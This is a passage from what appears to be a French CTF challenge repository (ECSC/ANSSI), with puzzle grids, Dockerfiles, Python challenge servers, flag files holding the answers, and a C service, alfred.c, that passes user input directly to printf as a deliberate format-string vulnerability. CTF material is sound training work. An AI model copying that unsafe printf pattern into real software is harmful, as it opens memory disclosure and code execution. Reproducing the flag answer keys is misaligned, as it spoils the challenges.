 94 | 
 95 | - - O - O
 96 | - - O - O
 97 | - - O O O
 98 | - O - - O
 99 | O - - O -
100 | 
101 | O O - - -
102 | O - - O -
103 | - - O - O
104 | - O - - O
105 | - - X O O
106 | 
107 | - - O O O -
108 | - - - O - -
109 | - - O - O -
110 | O O - - O O
111 | O O - - O O
112 | 
113 | - O O -
114 | X O O O
115 | O O O O
116 | - O O -
117 | 
118 | O - O O O -
119 | O - O - O -
120 | - O O O O X
121 | 
122 | O O O
123 | O O O
124 | O O -
125 | O - O
126 | - O -
127 | O - -
128 | 
129 | O - -
130 | O O -
131 | O O O
132 | O O O
133 | O O -
134 | O - -
135 | 
136 | - - O
137 | - O O
138 | O O O
139 | O O O
140 | O O -
141 | O - -
142 | 
143 | - - O
144 | O - O
145 | O O O
146 | O O O
147 | O - O
148 | O - -
149 | 
150 | - O -
151 | O O O
152 | O O -
153 | O O -
154 | O O O
155 | - O -
156 | 
157 | O O - - - -
158 | O O O O - -
159 | - - O O O X
160 | - - - - O O
161 | 
162 | - O - -
163 | - - O -
164 | O O O O
165 | O - - O
166 | O O - -
167 | O O - -
168 | 
169 | - - - O -
170 | - - O O -
171 | - O - O -
172 | O O O O O
173 | - - - O O
174 | 
175 | - - - - - O
176 | - - - - O -
177 | O O O O - -
178 | - - O O - -
179 | - O - - O -
180 | O - - - - O
181 | 
182 | O O O O O
183 | - O O O -
184 | - O O O -
185 | - O - O -
186 | 
187 | - - - O -
188 | - O O - O
189 | O - O O O
190 | O O - - O
191 | - - O O -
192 | 
193 | O - O O -
194 | - - - O O
195 | O - O O -
196 | O O O O -
197 | - O - - -
198 | 
199 | - O O - -
200 | - - O - -
201 | O O O O O
202 | X - O - O
203 | O O O O O
204 | - - O - -
205 | - - O - -
206 | 
207 | - - O O -
208 | - - O - O
209 | - O O - -
210 | O - O - -
211 | O O O - -
212 | - O - - -
213 | - O O - -
214 | 
215 | O - - - -
216 | O O - - -
217 | O O O - -
218 | O O O O -
219 | O O O O O
220 | 
221 | - - O O O -
222 | - - - O - -
223 | - - O - O -
224 | O O - - O O
225 | O O - - O O
226 | 
227 | - - O - -
228 | - O O O -
229 | O O O O O
230 | - O O O -
231 | O - - - O
232 | 
233 | - - O O -
234 | - - O - O
235 | - O O - -
236 | O - O - -
237 | O O O - -
238 | - O - - -
239 | - O O - -
240 | 
241 | - - O - -
242 | O - - O O
243 | O O O O O
244 | O O O O O
245 | - O O X -
246 | 
247 | - O O O -
248 | O O O - X
249 | - O O O O
250 | - O O O O
251 | - O O O -
252 | 
253 | - - O O O
254 | - O O O O
255 | O O O O O
256 | - O O O X
257 | - - O O O
258 | 
259 | - - - O -
260 | - O O O O
261 | O - - - -
262 | O O - - O
263 | O O - O O
264 | 
265 | O O O - - -
266 | - - - - O O
267 | O - - O - -
268 | O - - O O O
269 | - O O - - -
270 | 
271 | - - O - O -
272 | - O - O - -
273 | O - O - O X
274 | - O - O - O
275 | O - O - - -
276 | O - - O O O
277 | 
278 | - - - - O -
279 | - O O O O O
280 | O O - O O O
281 | - - O O - O
282 | O O - - O -
283 | O - O - - -
284 | 
285 | - O - O O O
286 | O O - O O -
287 | - - O O - -
288 | - - - O - O
289 | - O - - - -
290 | O O - O - O
291 | 
292 | O O O O X -
293 | - - O O O O
294 | O - - O O O
295 | O O - - O -
296 | - - O - - -
297 | - O - - O O
298 | 
299 | O O O O - O
300 | - O O O O O
301 | - - - O - -
302 | O - O - O O
303 | O - O - O O
304 | - - X - - -
305 | 
306 | - - O - O O
307 | - - - O - -
308 | O O X - O O
309 | - O - O O -
310 | O - - O O O
311 | O O - O - O
312 | 
313 | - - O - O O
314 | - - - O - -
315 | O X O - - -
316 | O O O - O -
317 | O - O O O O
318 | - O - O O O
319 | 
320 | O - - - O O -
321 | - X - O O O O
322 | - - O O - - -
323 | O - O - O - O
324 | - - - - O - -
325 | O O O O - O -
326 | - O O - - - O
327 | 
328 | - O - - - - -
329 | - - O O - O O
330 | - O O - - - O
331 | - O - O - O -
332 | O - - - O O -
333 | O O - O O - -
334 | - - - - - O -
335 | 
336 | - O - - O O -
337 | - O O - - - -
338 | O - O - - O O
339 | O - - O O O -
340 | - O - - O - -
341 | - - - O - O O
342 | O - O O O - O
343 | 
344 | - - O - O O -
345 | O O O - O O -
346 | - - - - - - O
347 | O - - - O - O
348 | - O O O O O -
349 | - - - O - O -
350 | O - O O O - X
351 | 
352 | - O O - - - O
353 | - O O O O O O
354 | - O O - O - -
355 | O - - O - - O
356 | - - - X - - O
357 | - O - O O O -
358 | - O - O - O -
359 | 
360 | O - O - O - -
361 | O - - O - - -
362 | - - O O - O -
363 | - O - O O - O
364 | - - O O - - O
365 | - - O - O O O
366 | X - O O - O O
367 | 
368 | O O - - - O -
369 | O O - - O O -
370 | - O - O O - -
371 | X - - O - - O
372 | - - O O - O -
373 | - O - O O O -
374 | - O O O O - -
375 | 
376 | - - - X O O O
377 | - - - O O O -
378 | - - O O O - -
379 | - O O O - - -
380 | O O O - - - -
381 | O O - - - - O
382 | O - - - - O O
383 | 
384 | O - O - O - - -
385 | O - - - O - - O
386 | - - O O - - O O
387 | O O - O - - O O
388 | - O O - - O - -
389 | - O - - X - - O
390 | O O - - O O - O
391 | - - - - - - O -
392 | 
393 | O O - O - - - -
394 | - - O - - - - O
395 | O - O - - - O O
396 | O - X O - O - -
397 | - O O - O - O -
398 | - O - - - - - O
399 | - - O O O - O O
400 | - O O - - - - O
401 | 
402 | - O - - - - - O
403 | - - - - - - - -
404 | - O O - - - - -
405 | - - - - - O O X
406 | O - O - - - - -
407 | - - - - - O O -
408 | - - O - O - O O
409 | - - O - O - O -
410 | 
411 | - - - O O - O - O - - X
412 | - - - - - O - - - O O O
413 | - - - - - O - - - - O -
414 | - O - O - - - - - - - -
415 | - - O - - O - - O - - -
416 | - O - O - - - - O O - -
417 | 
418 | - - - O - - - - O O - - - - - -
419 | O O - O - - O - - - - O - - - -
420 | - O - - - - - O - - O - - O O -
421 | - - O - O - - - - - - O O O X -
422 | - - O - O - - - O - - - - O - O
423 | O - - - O - - O - - - - - - - -
424 | - - O - O O - - - - O - O - - -
425 | - - - - - - - O O O - - - O - -
426 | 
427 | O O O O - O O - O - - O - - O O O - O O - - - - O - - - - - - -
428 | - - - - - - - - O O O - O - - - - - - - O O - - O - - - - - - -
429 | - - - - - O - - - O - - - - - - - - - - - - O O O O - O - O X -
430 | 
431 | O - O - - - - - - O - - - - O - O - - - O - - - O - O O - - - -
432 | - O - O - - - - - - - O O O - - - O - - - - - O - O - - O - O O
433 | O O - - - X - - - - - - - O - - - - - O O O O - - - O O - - - -
434 | 
435 | - O - - - - O - - - - - - - - O - - - - - - - - - O - - - - - - - - - - - - - - - - - - - O - - - - O - - - - - O - - - - - O -
436 | X - - - - - - - - - O - O - - - - - - - - - - - - - - - - - O - - O - - O - - - - - O - - O - - - - - O O - O - O - - - - - O -
437 | O - - - - - - - - - - - - - - - - O - - - - - O - - - - - O - - - - O - - - - - - - - - - - - - - - - - - O - - - O - - - - - -
438 | O O - - - - - O O - - - - - - - - - O O - - O - - - - O - - - - - - - - - O O - - - - - - - - - - - - O O - - - - - - - - - - -
439 | 
440 | - - O - O - - O - - - - - - - - O - O - - - - - - O - - - - - - - - O - - - - O O - - - - O - - - O O - - - O O - - - - - O - -
441 | O - - O - - O - - - O - - O - - O - - - - - O O - O - - - - - O - - O O - - - O O O - - - O O - O - - - - - O O - - - - O O X -
442 | O - - - O O O - O - - - O - - - - - O O - - - - - - - - - - - - - - - - - - - - - - - - O - - - - - - - - - O - - - O - - - O -
443 | 
444 | - - - - - O - - - - - - - - O O - O - - O - - - - - O - - - - -
445 | - - - - - - - - O - - O - - O O - - - - - - - - - - - - - - O -
446 | - - - - - O - - - - - - - - - - - O - - - - - - - - - - - - - -
447 | - - - O - - O - - - - - - - - - - - - - - - - - - - O - - - - -
448 | - - - - - - X - - - - - - - - - - - - - - - - - - - - - - - - -
449 | - - - - - - - - - - - - O - - - O - - - - - - - - - - - - O O -
450 | - - - - - - O - O - - - O - - - - - O O - O - - - - - - - - - -
451 | O - - O - - - - - - - - - O - - - O - - - O - - - - - - - - - -
452 | 
453 | - - - - - - O O - - - - O - - - - O - - - - - - - - - - O - - -
454 | - - O - - O - - - - O - - - - - - - - - - - - O - - - - - - - O
455 | - - - - - O - - - - - - - - O - - - - - - - - - - - O - O - - O
456 | O - - - - - - - O - - - - - - - - - - - - - - - - - - O - - - -
457 | - - - - - - - O - - - - - - O - - - - - - - O - O - - - O - - -
458 | - - - - - - - - - - - - O - - - - - - - - - O X - - O O - - - -
459 | - O - - - O - - - - - - - - - - - O - - - - - - O - - - - - - -
460 | O O - - - - O - - - - - - - - - - - - - - - O - - - - - - - - -
461 | 
462 | - - - - O - O O - O - - - - O O
463 | - X O - - - - - - - - - - - - O
464 | - - - - - - - - - - - - - - - -
465 | - - - - - - O - - - - - - - O -
466 | - - - - - - - - - O - - - - - -
467 | - - O O - - - - - - - - - - - -
468 | - - - - - - - O - - - - - - - -
469 | - - - - - - - - - - - - - - - -
470 | O - - - - O - - O - - - - - - -
471 | - - - - - - O - - - - - - - - -
472 | - - - - - - O - - - - - - - - -
473 | O - - - O - - O - - - - - - - -
474 | - - - O - - - - - - - - - - - -
475 | - - - O - O - O - - - - - - O -
476 | - O - - O - O - O - - - - - - -
477 | - - - - - - - - - - - - - - - -
478 | 
479 | 


--------------------------------------------------------------------------------
/misc-RScA/README.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/misc-RScA/README.md


--------------------------------------------------------------------------------
/misc-factorial/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM alpine
 2 | 
 3 | RUN apk update && apk add s6-networking python
 4 | RUN adduser ctf -D
 5 | COPY chall.py flag.py /app/
 6 | WORKDIR /app/
 7 | 
 8 | EXPOSE 3000
 9 | USER ctf
10 | CMD s6-tcpserver 0.0.0.0 3000 python chall.py
11 | 


--------------------------------------------------------------------------------
/misc-factorial/README.md:
--------------------------------------------------------------------------------
 1 | # Factorial
 2 | 
 3 | | Phase          | Catégorie  |  Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:----------:|:------------:|:---------------------:|
 5 | | Pré-sélections | misc       |   Difficile  |             49 / 1241 |
 6 | 
 7 | ## Description
 8 | 
 9 | Tout est là : [https://fr.wikipedia.org/wiki/Factorielle](https://fr.wikipedia.org/wiki/Factorielle)
10 | 


--------------------------------------------------------------------------------
/misc-factorial/chall.py:
--------------------------------------------------------------------------------
  1 | import sys
  2 | import time
  3 | import math
  4 | import random
  5 | import signal
  6 | import itertools
  7 | from fractions import gcd
  8 | from flag import flag
  9 | 
 10 | # Time allowed to complete the challenge (seconds)
 11 | DELAY = 10
 12 | 
 13 | ##
 14 | ## Handler for the timeout
 15 | ##
 16 | def handler(signum, frame):
 17 |    raise Exception("Time is up!\n")
 18 | 
 19 | 
 20 | def ord(n, p):
 21 |     # highest power or p which divides n!
 22 |     tot = 0
 23 |     while n != 0:
 24 |         n /= p
 25 |         tot += n
 26 |     return tot
 27 |     
 28 | def special_fact(mod):
 29 |     # prod of all where gcd(n, 10) == 1 and n <= N, result modulo mod
 30 |     f, tot = [], 1
 31 |     for n in xrange(mod + 1):
 32 |         if gcd(n, 10) == 1:
 33 |             tot = (tot * n) % mod
 34 |         f.append(tot)
 35 |     return f
 36 | 
 37 | ##
 38 | ## Remove trailing zeros of N!, and return that number modulo "mod"
 39 | ##                
 40 | def g(N, mod):
 41 |     facts = special_fact(mod)
 42 |     tot, v2, v5 = 1, int(math.log(N, 2)), int(math.log(N, 5))    
 43 |     for r, s in itertools.product(xrange(v2 + 1), xrange(v5 + 1)):
 44 |         q = 2**r * 5**s
 45 |         tot = (tot * facts[(N // q) % mod]) % mod
 46 |     b = ord(N, 2) - ord(N, 5)
 47 |     tot = (tot * pow(2, b, mod)) % mod
 48 |     return tot
 49 | 
 50 | ##
 51 | ## N! modulo mod
 52 | ##
 53 | def f(N, mod):
 54 |     res = 1
 55 |     for i in range(2, N + 1):
 56 |         res = (res*i) % mod
 57 |     return res
 58 | 
 59 | ##
 60 | ## Get a new random integer that is not in the set S
 61 | ##
 62 | def getNewRandom(a, b, S):
 63 |     while True:
 64 |         r = random.randint(a, b)
 65 |         if r not in S:
 66 |             break
 67 |     S.add(r)
 68 |     return r, S
 69 | 
 70 | ##
 71 | ##
 72 | ##
 73 | def p(s):
 74 |     sys.stdout.write(s)
 75 |     sys.stdout.flush()
 76 | 
 77 | if __name__== "__main__":
 78 |     p("Programming challenge!\n")
 79 |     p("----------------------\n")
 80 |     p("You have {} seconds to complete the challenge.\n".format(DELAY))
 81 |     signal.alarm(DELAY)
 82 |     signal.signal(signal.SIGALRM, handler)
 83 |     try:
 84 |         p("Let n! denote factorial of n, calculated by the product of all integer numbers from 1 to n.\n")
 85 |         p("For instance, 5! = 1*2*3*4*5 = 120.\n")
 86 |         n = random.randint(6,6)
 87 |         p("Then, we have {}! = \n".format(n))
 88 |         while True:
 89 |             p(">> ")
 90 |             res = sys.stdin.readline().strip()
 91 |             if res: break
 92 |         if math.factorial(n) != int(res):
 93 |             p("Sorry, it is not the correct answer, please try again.\n")
 94 |             exit(1)
 95 |         p("Good, so now we are only interested in the last digits of n!.\n")
 96 |         p("Here are a few examples.\n")
 97 |         bounds = [
 98 |             (4, 4),
 99 |             (2, 10),
100 |             (5, 10),
101 |             (10**1, 10**2),
102 |             (10**1, 10**2),
103 |             (10**1, 10**2),
104 |             (10**2, 10**4),
105 |             (10**2, 10**4),
106 |             (10**3, 10**4),
107 |         ]
108 |         for a,b in bounds:
109 |             n = random.randint(a, b)
110 |             p("What is the last digit of {}!\n".format(n))
111 |             while True:
112 |                 p(">> ")
113 |                 res = sys.stdin.readline().strip()
114 |                 if res: break
115 |             if f(n, 10) != int(res):
116 |                 p("Sorry, it is not the correct answer, please try again.\n")
117 |                 exit(1)
118 |         p("Okay, so there seems to be a lot of zeros...\n")
119 |         p("So now, we remove all the zeros appearing at the end of n! (and only at the end), and consider again the last digits.\n")
120 |         p("For example, the last nonzero digit of 5! is '2', the 2 last nonzero digits of 6! are '72', and the 2 and 3 last nonzero digits of 7! are '04' and '504', respectively.\n")
121 |         ## (min, max, number of digits)
122 |         bounds = [
123 |             (5, 10, 2),
124 |             (5, 10, 2),
125 |             (7, 20, 3),
126 |             (7, 20, 3),
127 |             (8, 30, 4),
128 |             (8, 30, 4),
129 |             #
130 |             (10**1, 10**2, 2),
131 |             (10**1, 10**2, 2),
132 |             (10**1, 10**2, 3),
133 |             (10**1, 10**2, 3),
134 |             (10**1, 10**2, 4),
135 |             (10**1, 10**2, 4),
136 |             #
137 |             (10**2, 10**4, 2),
138 |             (10**2, 10**4, 2),
139 |             (10**2, 10**4, 3),
140 |             (10**2, 10**4, 3),
141 |             (10**2, 10**4, 4),
142 |             (10**2, 10**4, 4),
143 |             #
144 |             (10**4, 10**8, 2),
145 |             (10**4, 10**8, 2),
146 |             (10**4, 10**8, 3),
147 |             (10**4, 10**8, 3),
148 |             (10**4, 10**8, 4),
149 |             (10**4, 10**8, 4),
150 |             #
151 |             (10**8, 10**12, 2),
152 |             (10**8, 10**12, 2),
153 |             (10**8, 10**12, 3),
154 |             (10**8, 10**12, 3),
155 |             (10**8, 10**12, 4),
156 |             (10**8, 10**12, 4),
157 |             #
158 |             (10**12, 10**50, 2),
159 |             (10**12, 10**50, 2),
160 |             (10**12, 10**50, 2),
161 |             (10**12, 10**50, 3),
162 |             (10**12, 10**50, 3),
163 |             (10**12, 10**50, 3),
164 |             (10**12, 10**50, 4),
165 |             (10**12, 10**50, 4),
166 |             (10**12, 10**50, 4),
167 |             (10**12, 10**50, 4),
168 |         ]
169 |         S = set()
170 |         for a,b,d in bounds:
171 |             n, S = getNewRandom(a, b, S)
172 |             p("What are the {} last nonzero digits of {}!\n".format(d, n))
173 |             while True:
174 |                 p(">> ")
175 |                 res = sys.stdin.readline().strip()
176 |                 if res: break
177 |             if g(n, 10**d) != int(res):
178 |                 p("Sorry, it is not the correct answer, please try again.\n")
179 |                 exit(1)
180 |         p("Congrats! Here is your flag: {}\n".format(flag))
181 |     except Exception as e: 
182 |         p("\nTime is up!\n")
183 |     else:
184 |         sys.exit(0)
185 | 


--------------------------------------------------------------------------------
/misc-factorial/flag.py:
--------------------------------------------------------------------------------
1 | flag = "ECSC{eacb38eaa12fef2c0a626a2d5f5a57d28e005bfb}"
2 | 


--------------------------------------------------------------------------------
/misc-protation/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM alpine
 2 | 
 3 | RUN apk update && apk add s6-networking python3
 4 | RUN adduser ctf -D
 5 | COPY chall.py flag.py /app/
 6 | WORKDIR /app/
 7 | 
 8 | EXPOSE 2000
 9 | USER ctf
10 | CMD s6-tcpserver 0.0.0.0 2000 python3 chall.py
11 | 


--------------------------------------------------------------------------------
/misc-protation/README.md:
--------------------------------------------------------------------------------
 1 | # Protation
 2 | 
 3 | | Phase          | Catégorie  |  Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:-------------:|:---------------------:|
 5 | | Finale France  | misc       |    Difficile  |                0 / 50 |
 6 | 
 7 | ### Description
 8 | 
 9 | Saurez-vous trouver la chaine qui permet d'afficher le flag ?
10 | 
11 | Note : **Aucun *bruteforce* n'est nécessaire.**
12 | 


--------------------------------------------------------------------------------
/misc-protation/flag.py:
--------------------------------------------------------------------------------
1 | flag = "lh_c3a1f8304931bf00a36b7f0fd517e2d0cfff5d4e653301e47e0b51e4a9978e6f"
2 | 


--------------------------------------------------------------------------------
/misc-protation/protation.py:
--------------------------------------------------------------------------------
 1 | import sys
 2 | import binascii
 3 | import random
 4 | import string
 5 | import hashlib
 6 | from random import randint
 7 | from flag import flag
 8 | 
 9 | N = 8
10 | 
11 | rol = lambda val, r_bits, max_bits:                          \
12 |   (val << r_bits%max_bits) & (2**max_bits-1) |               \
13 |   ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
14 | 
15 | def p(s):
16 | 	sys.stdout.write(s)
17 | 	sys.stdout.flush()
18 | 
19 | def check(N, S):
20 | 	assert len(S) == 2**N-1, "Error: the sequence should be of length {}".format(2**N-1)
21 | 	rotations = [ randint(0, N-1) for _ in range(2**N-1) ]
22 | 	SS = [ rol(S[i], rotations[i], N) for i in range(2**N-1) ]
23 | 	values = [0]
24 | 	tmp = 0
25 | 	for i in range(2**N-1):
26 | 		tmp ^= SS[i]
27 | 		values += [tmp]
28 | 	return len(set(values)) == 2**N
29 | 
30 | def anti_bruteforce_PoW(difficulty):
31 | 	randstr = ''.join(random.choice(string.ascii_letters) for _ in range(32))
32 | 	print("Enter a string S such that the {} most signicant bits".format(difficulty))
33 | 	print("of sha256(P||S) are zeros, with the prefix P is defined as");
34 | 	print("P = {}".format(randstr))
35 | 	S = input(">> ")
36 | 	randstr += S
37 | 	m = hashlib.sha256()
38 | 	m.update(randstr.encode())
39 | 	h = m.digest()
40 | 	bits = "{:0256b}".format(int(h.hex(), 16))
41 | 	return bits[:difficulty] == "0"*difficulty
42 | 
43 | '''
44 | def solve_PoW(prefix, difficulty):
45 | 	while True:
46 | 		suffix = ''.join(random.choice(string.ascii_letters) for _ in range(32)) 
47 | 		randstr = prefix + suffix
48 | 		m = hashlib.sha256()
49 | 		m.update(randstr.encode())
50 | 		h = m.digest()
51 | 		bits = "{:0256b}".format(int(h.hex(), 16))
52 | 		if bits[:difficulty] == "0"*difficulty:
53 | 			return suffix
54 | 			break
55 | '''
56 | 
57 | if __name__== "__main__":
58 | 
59 | 	## Welcome
60 | 	p("Algorithmic challenge\n")
61 | 	p("---------------------\n")
62 | 	assert (N!=0) and ((N&(N-1)) == 0), "Error: N must be a power of 2."
63 | 
64 | 	## Anti-brutefoce
65 | 	p("Before starting the actual challenge, we limit the access by a proof-of-work mechanism.\n")
66 | 	if not anti_bruteforce_PoW(18):
67 | 		p("Error: Please retry solving the PoW.\n")
68 | 		exit(1)
69 | 
70 | 	## Actual challenge
71 | 	p("You passed the PoW verification!\n")
72 | 	p("You can now attempt to solve the challenge:\n")
73 | 	while True:
74 | 		s = input(">>> ")
75 | 		try:
76 | 			s = list(binascii.unhexlify(s))
77 | 			if len(s) == 2**N - 1: break
78 | 		except:
79 | 			pass
80 | 
81 | 	## Check of the solution
82 | 	if check(N, s):
83 | 		p("Congrats!! Here is the flag: {}\n".format(flag))
84 | 	else:
85 | 		p("Not Good.\n")
86 | 


--------------------------------------------------------------------------------
/misc-qrcode/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM alpine
 2 | 
 3 | RUN apk update && apk add socat python py2-pip zlib-dev jpeg-dev gcc python2-dev musl-dev
 4 | RUN pip install qrcode Pillow
 5 | RUN adduser ctf -D
 6 | COPY chall.py flag.py /app/
 7 | RUN chown ctf /app
 8 | WORKDIR /app/
 9 | 
10 | EXPOSE 3000
11 | USER ctf
12 | CMD socat TCP-LISTEN:3000,reuseaddr,fork EXEC:"python chall.py"
13 | 


--------------------------------------------------------------------------------
/misc-qrcode/README.md:
--------------------------------------------------------------------------------
 1 | # QRCode
 2 | 
 3 | | Phase          | Catégorie  |   Difficulté   | Nombre de résolutions |
 4 | |:--------------:|:----------:|:--------------:|:---------------------:|
 5 | | Pré-sélections | misc       |    Facile      |            186 / 1241 | 
 6 | 
 7 | ### Description
 8 | 
 9 | QR Codes everywhere!
10 | 


--------------------------------------------------------------------------------
/misc-qrcode/chall.py:
--------------------------------------------------------------------------------
 1 | import sys
 2 | import zlib
 3 | import uuid
 4 | import base64
 5 | import qrcode
 6 | import random
 7 | import signal
 8 | from PIL import Image
 9 | from flag import flag
10 | 
11 | # The challenge image consists of an N*N grid of QRcodes
12 | N = 8
13 | 
14 | # Time allowed to answer
15 | DELAY = 2
16 | 
17 | # Size of ONE QRcode
18 | width, height = 290, 290
19 | 
20 | ##
21 | ## print with flush
22 | ##
23 | def p(s):
24 | 	sys.stdout.write(s)
25 | 	sys.stdout.flush()
26 | 
27 | ##
28 | ## Generate a challenge
29 | ##
30 | def newChallenge():
31 | 	im = Image.new('RGB', (N*width, N*height))
32 | 	L = [ [ random.randint(2**31, 2**32-1) for _ in range(N) ] for _ in range(N) ]
33 | 
34 | 	sum = 0
35 | 	for i in range(N):
36 | 		for j in range(N):
37 | 			sum += L[i][j]
38 | 			qr = qrcode.make(L[i][j])
39 | 			im.paste( qr, (width*i, height*j) )
40 | 
41 | 	filename = str(uuid.uuid4()) + ".png"
42 | 	im.save(filename)
43 | 	data = open(filename, "rb").read()
44 | 	return base64.encodestring(zlib.compress(data)), sum
45 | 
46 | ##
47 | ## Handler for the timeout
48 | ##
49 | def handler(signum, frame):
50 |    raise Exception("Time is up!\n")
51 | 
52 | ##
53 | ## Read the user answer from stdin, and check
54 | ##
55 | def checkAnswer(solution):
56 | 	while True:
57 | 		p(">> ")
58 | 		res = sys.stdin.readline().strip()
59 | 		if res: break
60 | 	if int(res) != solution:
61 | 		p("Wrong, this is incorrect.\n")
62 | 	else:
63 | 		p("Congrats! Here is your flag: {}\n".format(flag))
64 | 
65 | if __name__== "__main__":
66 | 	p("Programming challenge\n")
67 | 	p("---------------------\n")
68 | 	p("I will send you a PNG image compressed by zlib encoded in base64 that contains {} encoded numbers.\n".format(N*N))
69 | 	p("The expected answer is the sum of all the numbers (in decimal).\n")
70 | 	p("You have {} seconds.\n".format(DELAY))
71 | 	p("Are you ready? [Y/N]\n")
72 | 	while True:
73 | 		p(">> ")
74 | 		res = sys.stdin.readline().strip()
75 | 		if res: break
76 | 	if res == "Y" or res == 'y':
77 | 		# Generate the challenge
78 | 		chall, solution = newChallenge()
79 | 		# Send the challenge
80 | 		p(chall.decode())
81 | 		# Get and check answer in less than 5 seconds, otherwise, exit
82 | 		p("What is you answer?\n")
83 | 		#
84 | 		signal.alarm(DELAY)
85 | 		signal.signal(signal.SIGALRM, handler)
86 | 		try:
87 | 			checkAnswer(solution)
88 | 		except Exception as e: 
89 | 			p("\nTime is up!\n")
90 | 	else:
91 | 		sys.exit(0)
92 | 


--------------------------------------------------------------------------------
/misc-qrcode/flag.py:
--------------------------------------------------------------------------------
1 | flag = "ECSC{e076963c132ec49bce13d47ea864324326d4cefa}"
2 | 


--------------------------------------------------------------------------------
/pwn-HitchLock/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM debian:stable-slim
 2 | RUN apt-get update && apt-get install -y build-essential socat make libc6-dev gcc-multilib
 3 | 
 4 | ## Copy challenge files
 5 | WORKDIR /app
 6 | COPY source/script_flag.pdf ./
 7 | COPY source/Makefile ./
 8 | COPY source/alfred.c ./
 9 | 
10 | ## Compile the challenge
11 | RUN make
12 | 
13 | ## Run the challenge
14 | RUN useradd ctf
15 | 
16 | EXPOSE 4000
17 | USER ctf
18 | CMD socat tcp-listen:4000,reuseaddr,fork exec:"./alfred",stderr
19 | 


--------------------------------------------------------------------------------
/pwn-HitchLock/README.md:
--------------------------------------------------------------------------------
 1 | # Alfred HitchLock
 2 | 
 3 | | Phase               | Catégorie  |  Difficulté  | Nombre de résolutions |
 4 | |:-------------------:|:----------:|:------------:|:---------------------:|
 5 | | Entrainement TeamFR | pwn        |    Facile    |                 5 / 5 |
 6 | 
 7 | ### Description
 8 | 
 9 | Vous avez trouvé un service distant qui stocke des scripts de films. Saurez-vous trouver celui du film `flag` ?
10 | 
11 | Fichier fourni : `alfred`.
12 | 


--------------------------------------------------------------------------------
/pwn-HitchLock/alfred:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-HitchLock/alfred


--------------------------------------------------------------------------------
/pwn-HitchLock/latex/script_flag.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-HitchLock/latex/script_flag.pdf


--------------------------------------------------------------------------------
/pwn-HitchLock/latex/script_flag.tex:
--------------------------------------------------------------------------------
1 | \documentclass{standalone}
2 | \begin{document}
3 | \texttt{ECSC\{a80b88dd4d26338e6dfe0f05bc6d33d468863a823a898de152e99cb406df7a08\}}
4 | \end{document}
5 | 


--------------------------------------------------------------------------------
/pwn-HitchLock/source/Makefile:
--------------------------------------------------------------------------------
 1 | CC = gcc
 2 | CFLAGS = -m32 -Wall -Wextra -Wno-pointer-sign -Wno-format-security -no-pie -fstack-protector -O3
 3 | 
 4 | all: alfred
 5 | 
 6 | alfred: alfred.c
 7 | 	$(CC) $(CFLAGS) -o $@ $^
 8 | 
 9 | clean:
10 | 	rm *.o *~ alfred
11 | 


--------------------------------------------------------------------------------
/pwn-HitchLock/source/alfred.c:
--------------------------------------------------------------------------------
 1 | #include <stdio.h>
 2 | #include <stdlib.h>
 3 | #include <stdint.h>
 4 | #include <string.h>
 5 | 
 6 | #define CST_PASSWD "tYXTjT[QjeTA"
 7 | 
 8 | unsigned char x = 42;
 9 | 
10 | void _dl_exception_new(void) __attribute__ ((constructor));
11 | void _dl_exception_new(void) {
12 |   x = 53;
13 | } 
14 | 
15 | int check_passwd() {
16 |   unsigned char userpwd[32] = {0};
17 | 
18 |   /* Ask the user for the password */
19 |   printf("Secure script locker made for A.H.\n");
20 |   printf("Enter password to unlock:\n");
21 |   printf(">>> ");
22 |   fflush(stdout);
23 | 
24 |   /* Read password */
25 |   fgets(userpwd, sizeof(userpwd), stdin);
26 |   userpwd[strlen(userpwd) - 1] = 0;
27 | 
28 |   for (unsigned int i=0; i<strlen(userpwd); ++i) {
29 |     userpwd[i] ^= x;
30 |   }/*i*/
31 | 
32 |   if(strncmp(CST_PASSWD, userpwd, 12)) {
33 |     return -1;
34 |   }
35 | 
36 |   return 0;  
37 | }
38 | 
39 | void todo_scripts() {
40 | 
41 |   unsigned char username[128] = {0};
42 | 
43 |   printf("What is your name [Alfred]?:\n");
44 |   printf(">>> ");
45 | 
46 |   fgets(username, sizeof(username), stdin);
47 |   username[strlen(username)-1] = 0;
48 | 
49 |   if (strlen(username) == 0) {
50 |     strncpy(username, "Alfred", 7);
51 |   }
52 | 
53 |   printf("Hello ");
54 |   printf(username);
55 |   printf(", here are the current scripts:");
56 |   putc('\n', stdout);
57 |   
58 |   system("ls -1 script*.pdf");
59 | 
60 | }
61 | 
62 | int main() {
63 | 
64 |   setvbuf(stdout, NULL, _IONBF, 0); 
65 |   setvbuf(stderr, NULL, _IONBF, 0); 
66 | 
67 |   if (check_passwd()) {
68 |     fprintf(stderr, "Error: Wrong password.\n");
69 |     return -1;  
70 |   }
71 | 
72 |   todo_scripts();
73 | 
74 |   return 0;
75 | }
76 | 


--------------------------------------------------------------------------------
/pwn-HitchLock/source/script_flag.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ANSSI-FR/ctf/024390ed10ac1224881f3fe7b0c105214a9a800d/pwn-HitchLock/source/script_flag.pdf


--------------------------------------------------------------------------------
/pwn-HolaArmigo/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM debian:stable-slim AS builder
 2 | RUN apt-get update && apt-get install -y gcc-arm-linux-gnueabi make
 3 | WORKDIR /build/
 4 | COPY armigo.c Makefile ./
 5 | RUN make
 6 | 
 7 | FROM debian:stable-slim
 8 | RUN apt-get update && apt-get install -y socat qemu-user libc6-armel-cross
 9 | RUN useradd ctf
10 | WORKDIR /app/
11 | COPY --from=builder /build/armigo ./
12 | COPY flag run.sh ./
13 | EXPOSE 4000
14 | USER ctf
15 | CMD socat tcp-listen:4000,reuseaddr,fork exec:./run.sh
16 | 


--------------------------------------------------------------------------------
/pwn-HolaArmigo/Makefile:
--------------------------------------------------------------------------------
